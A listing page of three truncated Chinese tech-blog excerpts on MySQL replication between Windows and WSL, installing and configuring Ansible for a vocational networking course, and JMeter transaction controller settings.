在 Windows 上的 MySQL 8.4.3 和 WSL&#xff08;Ubuntu&#xff09;的 MySQL 8.0.40 之间配置 主从同步&#xff08;Master-Slave Replication&#xff09; 的过程略有不同&#xff0c;因为两者的 MySQL 版本和环境存在差异。以下是详细步骤&#xff0c;帮助你完成跨平台的主从…...

中职网络建设与运维ansible服务

ansible服务 填写hosts指定主机范围和控制节点后创建一个脚本&#xff0c;可以利用简化脚本 1. 在linux1上安装系统自带的ansible-core,作为ansible控制节点,linux2-linux7作为ansible的受控节点 Linux1 Linux1-7 Yum install ansible-core -y Vi /etc/ansible/hosts 添加…...

jmeter事务控制器-勾选Generate Parent Sample

1、打开jmeter工具&#xff0c;添加线程组&#xff0c;添加逻辑控制器-事务控制器 2、在事务控制器&#xff0c;勾选Generate parent sample&#xff1a;生成父样本&#xff1b;说明勾选后&#xff0c;事务控制器会作为父节点&#xff0c;其下面的请求作为子节点 3、执行&#…...